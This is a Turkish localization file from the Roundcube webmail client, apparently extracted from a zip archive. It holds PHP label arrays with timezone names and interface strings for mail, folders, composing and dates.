$labels['tz:america:jamaica'] = 'Jamaika';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceió';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominiler';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Meksiko';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Kuzey Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Orta';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Porto Riko';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Ittoqqortoormiit';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarktika';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arktika';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asya';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almatı';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadır';
$labels['tz:asia:aqtau'] = 'Aktav';
$labels['tz:asia:aqtobe'] = 'Aktöbe';
$labels['tz:asia:ashgabat'] = 'Aşkabat';
$labels['tz:asia:atyrau'] = 'Atırav';
$labels['tz:asia:baghdad'] = 'Bağdat';
$labels['tz:asia:bahrain'] = 'Bahreyn';
$labels['tz:asia:baku'] = 'Bakü';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beyrut';
$labels['tz:asia:bishkek'] = 'Bişkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Çita';
$labels['tz:asia:choibalsan'] = 'Çoybalsan';
$labels['tz:asia:colombo'] = 'Kolombo';
$labels['tz:asia:damascus'] = 'Şam';
$labels['tz:asia:dhaka'] = 'Dakka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Duşanbe';
$labels['tz:asia:famagusta'] = 'Gazimağusa';
$labels['tz:asia:gaza'] = 'Gazze';
$labels['tz:asia:hebron'] = 'El Halil';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'İrkutsk';
$labels['tz:asia:jakarta'] = 'Cakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Kudüs';
$labels['tz:asia:kabul'] = 'Kabil';
$labels['tz:asia:kamchatka'] = 'Kamçatka';
$labels['tz:asia:karachi'] = 'Karaçi';
$labels['tz:asia:kathmandu'] = 'Katmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kolkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuveyt';
$labels['tz:asia:macau'] = 'Makau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Maskat';
$labels['tz:asia:nicosia'] = 'Lefkoşa';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Katar';
$labels['tz:asia:qyzylorda'] = 'Kızılorda';
$labels['tz:asia:riyadh'] = 'Riyad';
$labels['tz:asia:sakhalin'] = 'Sahalin';
$labels['tz:asia:samarkand'] = 'Semerkant';
$labels['tz:asia:seoul'] = 'Seul';
$labels['tz:asia:shanghai'] = 'Şangay';
$labels['tz:asia:singapore'] = 'Singapur';
$labels['tz:asia:srednekolymsk'] = 'Srednekolimsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Taşkent';
$labels['tz:asia:tbilisi'] = 'Tiflis';
$labels['tz:asia:tehran'] = 'Tahran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokyo';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulanbatur';
$labels['tz:asia:urumqi'] = 'Urumçi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Erivan';
$labels['tz:atlantic'] = 'Atlantik';
$labels['tz:atlantic:azores'] = 'Azorlar';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Kanarya';
$labels['tz:atlantic:cape_verde'] = 'Yeşil Burun Adaları';
$labels['tz:atlantic:faroe'] = 'Faroe Adaları';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'Güney Georgia';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Avustralya';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sidney';
$labels['tz:europe'] = 'Avrupa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrahan';
$labels['tz:europe:athens'] = 'Atina';
$labels['tz:europe:belgrade'] = 'Belgrad';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brüksel';
$labels['tz:europe:bucharest'] = 'Bükreş';
$labels['tz:europe:budapest'] = 'Budapeşte';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Kişinev';
$labels['tz:europe:copenhagen'] = 'Kopenhag';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Man Adası';
$labels['tz:europe:istanbul'] = 'İstanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lizbon';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'Londra';
$labels['tz:europe:luxembourg'] = 'Lüksemburg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monako';
$labels['tz:europe:moscow'] = 'Moskova';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Prag';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Roma';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Saraybosna';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Üsküp';
$labels['tz:europe:sofia'] = 'Sofya';
$labels['tz:europe:stockholm'] = 'Stokholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tiran';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Ujgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatikan';
$labels['tz:europe:vienna'] = 'Viyana';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Varşova';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporijya';
$labels['tz:europe:zurich'] = 'Zürih';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Christmas Adası';
$labels['tz:indian:cocos'] = 'Cocos Adaları';
$labels['tz:indian:comoro'] = 'Komorlar';
$labels['tz:indian:kerguelen'] = 'Kerguelen Adaları';
$labels['tz:indian:mahe'] = 'Mahé';
$labels['tz:indian:maldives'] = 'Maldivler';
$labels['tz:indian:mauritius'] = 'Mauritius';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Réunion';
$labels['tz:pacific'] = 'Pasifik';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Paskalya Adası';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein Atolü';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Markiz Adaları';
$labels['tz:pacific:midway'] = 'Midway Adası';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue Adası';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Nouméa';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn Adaları';
$labels['tz:pacific:pohnpei'] = 'Pohnpei Adası';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga Adası';
$labels['tz:pacific:saipan'] = 'Saipan Adası';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa Adası';
$labels['tz:pacific:tongatapu'] = 'Tongatapu Adası';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\ig58f�f�%program/localization/tr_TR/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product e-posta sistemine hoş geldiniz';
$labels['username'] = 'Kullanıcı adı';
$labels['password'] = 'Parola';
$labels['server'] = 'Sunucu';
$labels['login'] = 'Oturum aç';
$labels['oauthlogin'] = '$provider ile oturum aç';
$labels['menu'] = 'Menü';
$labels['logout'] = 'Kapat';
$labels['mail'] = 'İletiler';
$labels['settings'] = 'Ayarlar';
$labels['addressbook'] = 'Adres defteri';
$labels['darkmode'] = 'Koyu kip';
$labels['lightmode'] = 'Açık kip';
$labels['inbox'] = 'Gelen';
$labels['drafts'] = 'Taslak';
$labels['sent'] = 'Gönderilmiş';
$labels['trash'] = 'Çöp';
$labels['junk'] = 'İstenmeyen';
$labels['show_real_foldernames'] = 'Özel klasörlerin gerçek adları görüntülensin';
$labels['subject'] = 'Konu';
$labels['from'] = 'Gönderici';
$labels['sender'] = 'Gönderici';
$labels['to'] = 'Alıcı';
$labels['cc'] = 'Kopya';
$labels['bcc'] = 'Gizli kopya';
$labels['replyto'] = 'Yanıt adresi';
$labels['followupto'] = 'İzleme adresi';
$labels['date'] = 'Tarih';
$labels['size'] = 'Boyut';
$labels['priority'] = 'Öncelik';
$labels['organization'] = 'Kuruluş';
$labels['readstatus'] = 'Okunma durumu';
$labels['listoptions'] = 'Seçenekleri listele...';
$labels['listoptionstitle'] = 'Liste seçenekleri';
$labels['mailboxlist'] = 'Klasörler';
$labels['messagesfromto'] = 'İletiler: $from - $to , Toplam: $count';
$labels['threadsfromto'] = 'Yazışmalar: $from - $to, Toplam $count';
$labels['messagenrof'] = 'İleti: $nr / $count';
$labels['fromtoshort'] = '$from - $to , Toplam: $count';
$labels['copy'] = 'Kopyala';
$labels['move'] = 'Taşı';
$labels['moveto'] = 'Şuraya taşı...';
$labels['copyto'] = 'Şuraya Kopyala...';
$labels['download'] = 'İndir';
$labels['open'] = 'Aç';
$labels['showattachment'] = 'Görüntüle';
$labels['showanyway'] = 'Yine de görüntülensin';
$labels['filename'] = 'Dosya adı';
$labels['filesize'] = 'Dosya boyutu';
$labels['addtoaddressbook'] = 'Adres defterine ekle';
$labels['sun'] = 'Paz';
$labels['mon'] = 'Pzt';
$labels['tue'] = 'Sal';
$labels['wed'] = 'Çrş';
$labels['thu'] = 'Per';
$labels['fri'] = 'Cum';
$labels['sat'] = 'Cts';
$labels['sunday'] = 'Pazar';
$labels['monday'] = 'Pazartesi';
$labels['tuesday'] = 'Salı';
$labels['wednesday'] = 'Çarşamba';
$labels['thursday'] = 'Perşembe';
$labels['friday'] = 'Cuma';
$labels['saturday'] = 'Cumartesi';
$labels['jan'] = 'Oca';
$labels['feb'] = 'Şub';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Nis';
$labels['may'] = 'May';
$labels['jun'] = 'Haz';
$labels['jul'] = 'Tem';
$labels['aug'] = 'Ağu';
$labels['sep'] = 'Eyl';
$labels['oct'] = 'Eki';
$labels['nov'] = 'Kas';
$labels['dec'] = 'Ara';
$labels['longjan'] = 'Ocak';
$labels['longfeb'] = 'Şubat';
$labels['longmar'] = 'Mart';
$labels['longapr'] = 'Nisan';
$labels['longmay'] = 'Mayıs';
$labels['longjun'] = 'Haziran';
$labels['longjul'] = 'Temmuz';
$labels['longaug'] = 'Ağustos';
$labels['longsep'] = 'Eylül';
$labels['longoct'] = 'Ekim';
$labels['longnov'] = 'Kasım';
$labels['longdec'] = 'Aralık';
$labels['today'] = 'Bugün';
$labels['refresh'] = 'Yenile';
$labels['checkmail'] = 'İletileri denetle';
$labels['compose'] = 'Hazırla';
$labels['writenewmessage'] = 'Yeni ileti ';
$labels['reply'] = 'Yanıtla';
$labels['replytomessage'] = 'Göndericiye yanıtla';
$labels['replytoallmessage'] = 'Göndericiye ve tüm alıcılara yanıtla';
$labels['replyall'] = 'Toplu yanıtla';
$labels['replylist'] = 'Listeye yanıtla';
$labels['forward'] = 'İlet';
$labels['forwardinline'] = 'Posta içinde ilet';
$labels['forwardattachment'] = 'Ek dosya olarak ilet';
$labels['forwardmessage'] = 'İlet';
$labels['bouncemsg'] = 'Yeniden gönder (sektir)';
$labels['bounce'] = 'Yeniden gönder';
$labels['deletemessage'] = 'İletiyi sil';
$labels['movemessagetotrash'] = 'Çöpe taşı';
$labels['printmessage'] = 'Yazdır';
$labels['previousmessage'] = 'Önceki ileti';
$labels['firstmessage'] = 'İlk ileti';
$labels['nextmessage'] = 'Sonraki ileti';
$labels['lastmessage'] = 'Son ileti';
$labels['backtolist'] = 'İleti listesine dön';
$labels['viewsource'] = 'Kaynağı görüntüle';
$labels['mark'] = 'İşaretle';
$labels['markmessages'] = 'İletileri işaretle';
$labels['markread'] = 'Okunmuş olarak';
$labels['markunread'] = 'Okunmamış olarak';
$labels['markflagged'] = 'İşaretlenmiş olarak';
$labels['markunflagged'] = 'İşaretlenmemiş olarak';
$labels['markundeleted'] = 'Silinmemiş olarak';
$labels['moreactions'] = 'Diğer işlemler...';
$labels['markallread'] = 'Tümünü okunmuş olarak işaretle';
$labels['folders-cur'] = 'Yalnızca seçilmiş klasör';
$labels['folders-sub'] = 'Seçilmiş Klasör ve Alt Klasörleri';
$labels['folders-all'] = 'Tüm klasörler';
$labels['more'] = 'Diğer';
$labels['back'] = 'Geri';
$labels['options'] = 'Ayarlar';
$labels['composeoptions'] = 'İleti seçenekleri';
$labels['optionsandattachments'] = 'Ayarlar ve ek dosyalar';
$labels['actions'] = 'İşlemler';
$labels['first'] = 'İlk';
$labels['last'] = 'Son';
$labels['previous'] = 'Önceki';
$labels['next'] = 'Sonraki';
$labels['select'] = 'Seç';
$labels['selection'] = 'Seçim';
$labels['all'] = 'Tümü';
$labels['none'] = 'Yok';
$labels['currpage'] = 'Geçerli sayfa';
$labels['isread'] = 'Okunmuş';
$labels['unread'] = 'Okunmamışlar';
$labels['flagged'] = 'İşaretlenmişler';
$labels['unflagged'] = 'İşaretlenmemiş';
$labels['unanswered'] = 'Yanıtlanmamışlar';
$labels['withattachment'] = 'Ek dosyası olanlar';
$labels['deleted'] = 'Silinmişler';
$labels['undeleted'] = 'Silinmemişler';
$labels['replied'] = 'Yanıtlanmış';
$labels['forwarded'] = 'İletilmiş';
$labels['invert'] = 'Seçimi ters çevir';
$labels['filter'] = 'Süz';
$labels['list'] = 'Liste';
$labels['threads'] = 'Yazışma';
$labels['expand-all'] = 'Tümünü genişlet';
$labels['expand-unread'] = 'Okunmamışları genişlet';
$labels['collapse-all'] = 'Tümünü daralt';
$labels['threaded'] = 'Yazışma görünümü';
$labels['showunread'] = 'Okunmamış iletileri görüntüle';
$labels['autoexpand_threads'] = 'Yazışma iletileri genişletilsin';
$labels['do_expand'] = 'tüm yazışmalar';
$labels['expand_only_unread'] = 'yalnızca okunmamış iletiler bulunan yazışmalar';
$labels['fromto'] = 'Gönderici/Alıcı';
$labels['flag'] = 'İşaret';
$labels['attachment'] = 'Ek dosya';
$labels['nonesort'] = 'Yok';
$labels['sentdate'] = 'Gönderilme tarihi';
$labels['arrival'] = 'Alınma tarihi';
$labels['asc'] = 'artan';
$labels['desc'] = 'azalan';
$labels['listcolumns'] = 'Sütunları listele';
$labels['listsorting'] = 'Sıralama sütunu';
$labels['listorder'] = 'Sıralama düzeni';
$labels['listmode'] = 'Liste görünümü';
$labels['lmode'] = 'Liste kipi';
$labels['layout'] = 'Görünüm';
$labels['layoutwidescreen'] = 'Geniş ekran';
$labels['layoutdesktop'] = 'Masaüstü';
$labels['layoutlist'] = 'Liste';
$labels['layoutwidescreendesc'] = 'Geniş ekran (3 sütun görünümü)';
$labels['layoutdesktopdesc'] = 'Masaüstü (geniş liste ile aşağıda e-posta ön izlemesi)';
$labels['layoutlistdesc'] = 'Liste (e-posta ön izlemesi olmadan)';
$labels['folderactions'] = 'Klasör İşlemleri...';
$labels['compact'] = 'Sıkıştır';
$labels['empty'] = 'Boşalt';
$labels['importmessages'] = 'İçe aktar';
$labels['mailimportdesc'] = '<a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> ya da <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> biçiminde dosyalar kullanarak e-postalarınızı yükleyebilirsiniz.';
$labels['mailimportzip'] = 'Birden çok dosya zip arşivi biçiminde sıkıştırılabilir.';
$labels['quota'] = 'Disk kullanımı';
$labels['unknown'] = 'bilinmeyen';
$labels['unlimited'] = 'sınırsız';
$labels['quotatype'] = 'Kota türü';
$labels['quotatotal'] = 'Sınır';
$labels['quotaused'] = 'Kullanılan';
$labels['quotastorage'] = 'Disk boyutu';
$labels['quotamessage'] = 'İleti sayısı';
$labels['shortheaderdate'] = '$date tarihinde';
$labels['shortheaderto'] = '$to alıcısına $date tarihinde';
$labels['shortheaderfrom'] = '$from göndericisinden $date tarihinde';
$labels['quicksearch'] = 'Hızlı arama';
$labels['searchplaceholder'] = 'Arama...';
$labels['resetsearch'] = 'Aramayı sıfırla';
$labels['searchmod'] = 'Arama alanları';
$labels['msgtext'] = 'Tüm ileti alanları';
$labels['body'] = 'Metin';
$labels['type'] = 'Tür';
$labels['namex'] = 'Ad';
$labels['searchscope'] = 'Kapsam';
$labels['currentfolder'] = 'Bu klasör';
$labels['subfolders'] = 'Bu ve alt klasörler';
$labels['allfolders'] = 'Tüm klasörler';
$labels['searchinterval-1W'] = 'Bir haftadan eski';
$labels['searchinterval-1M'] = 'Bir aydan eski';
$labels['searchinterval-1Y'] = 'Bir yıldan eski';
$labels['searchinterval1W'] = 'Bir haftadan yeni';
$labels['searchinterval1M'] = 'Bir aydan yeni';
$labels['searchinterval1Y'] = 'Bir yıldan yeni';
$labels['openinextwin'] = 'Yeni pencerede aç';
$labels['emlsave'] = 'İndir (.eml)';
$labels['changeformattext'] = 'Düz metin biçiminde görüntülensin';
$labels['changeformathtml'] = 'HTML biçiminde görüntülensin';
$labels['editasnew'] = 'Yeni olarak düzenle';
$labels['send'] = 'Gönder';
$labels['sendmessage'] = 'İletiyi gönder';
$labels['savemessage'] = 'Taslak olarak kaydet';
$labels['addattachment'] = 'Dosya ekle';
$labels['charset'] = 'Karakter kodlaması';
$labels['editortype'] = 'Düzenleyici';
$labels['returnreceipt'] = 'Alındı onayı istensin';
$labels['dsn'] = 'Teslim onayı istensin';
$labels['keepformatting'] = 'Biçimlendirme korunsun';
$labels['mailreplyintro'] = '$date, $sender yazmış:';
$labels['originalmessage'] = 'Özgün ileti';
$labels['selectimage'] = 'Görsel seçin';
$labels['addimage'] = 'Görsel ekle';
$labels['selectmedia'] = 'Görüntü seçin';
$labels['addmedia'] = 'Görüntü ekle';
$labels['encrypt'] = 'Şifrele';
$labels['encryptmessage'] = 'İletiyi şifrele';
$labels['encryptmessagemailvelope'] = 'İletinizi Mailvelope ile şifreleyin';
$labels['importpubkeys'] = 'Herkese açık anahtarları içe aktar';
$labels['encryptedsendialog'] = 'Şifrelenmiş ileti gönderiliyor';
$labels['encryptandsign'] = 'Şifrele ve imzala';
$labels['keyid'] = 'Kimlik Anahtarı';
$labels['keylength'] = 'Bit';
$labels['keyexpired'] = 'Süresi geçmiş';
$labels['keyrevoked'] = 'Geçersiz kılınmış';
$labels['bccinstead'] = 'Gizli kopya kullanılsın';
$labels['addheader'] = 'Alıcı ekle (üst bilgi)';
$labels['insert'] = 'Ekle';
$labels['insertcontact'] = 'Kişi ekle';
$labels['recipient'] = 'Alıcı';
$labels['recipientedit'] = 'Alıcıyı düzenle';
$labels['editidents'] = 'Kimlikleri düzenle';
$labels['spellcheck'] = 'Yazım denetimi';
$labels['checkspelling'] = 'Yazımı denetle';
$labels['resumeediting'] = 'Düzenlemeyi sürdür';
$labels['revertto'] = 'Geri al:';
$labels['restore'] = 'Geri yükle';
$labels['restoremessage'] = 'İleti geri yüklensin mi?';
$labels['ignore'] = 'Yok say';
$labels['responses'] = 'Hazır yanıtlar';
$labels['insertresponse'] = 'Hazır yanıt ekle';
$labels['manageresponses'] = 'Hazır yanıt yönetimi';
$labels['newresponse'] = 'Yeni Hazır yanıt ekle';
$labels['addresponse'] = 'Hazır yanıt ekle';
$labels['editresponse'] = 'Hazır yanıtı düzenle';
$labels['editresponses'] = 'Hazır yanıtları düzenle';
$labels['responsename'] = 'Ad';
$labels['responsetext'] = 'Hazır yanıt metni';
$labels['attach'] = 'Dosya ekle';
$labels['attachments'] = 'Ek dosyalar';
$labels['upload'] = 'Yükle';
$labels['uploadprogress'] = '$percent($current / $total)';
$labels['close'] = 'Kapat';
$labels['messageoptions'] = 'İleti ayarları...';
$labels['togglecomposeoptions'] = 'İleti seçeneklerini görüntüle/gizle';
$labels['attachmentrename'] = 'Ek dosyayı yeniden adlandır';
$labels['low'] = 'Düşük';
$labels['lowest'] = 'En düşük';
$labels['normal'] = 'Normal';
$labels['high'] = 'Yüksek';
$labels['highest'] = 'En yüksek';
$labels['nosubject'] = '(konu belirtilmemiş)';
$labels['showimages'] = 'Görselleri görüntüle';
$labels['allow'] = 'İzin ver';
$labels['alwaysshow'] = '$sender tarafından gönderilen görseller her zaman görüntülensin';
$labels['alwaysallow'] = '$sender tarafından gönderilen iletiler her zaman alınsın';
$labels['isdraft'] = 'Bu ileti henüz taslak.';
$labels['andnmore'] = '$nr daha...';
$labels['details'] = 'Ayrıntılar';
$labels['summary'] = 'Özet';
$labels['headers'] = 'Üst bilgiler';
$labels['allheaders'] = 'Tüm üst bilgiler...';
$labels['togglemoreheaders'] = 'Daha fazla ileti üst bilgisi görüntüle';
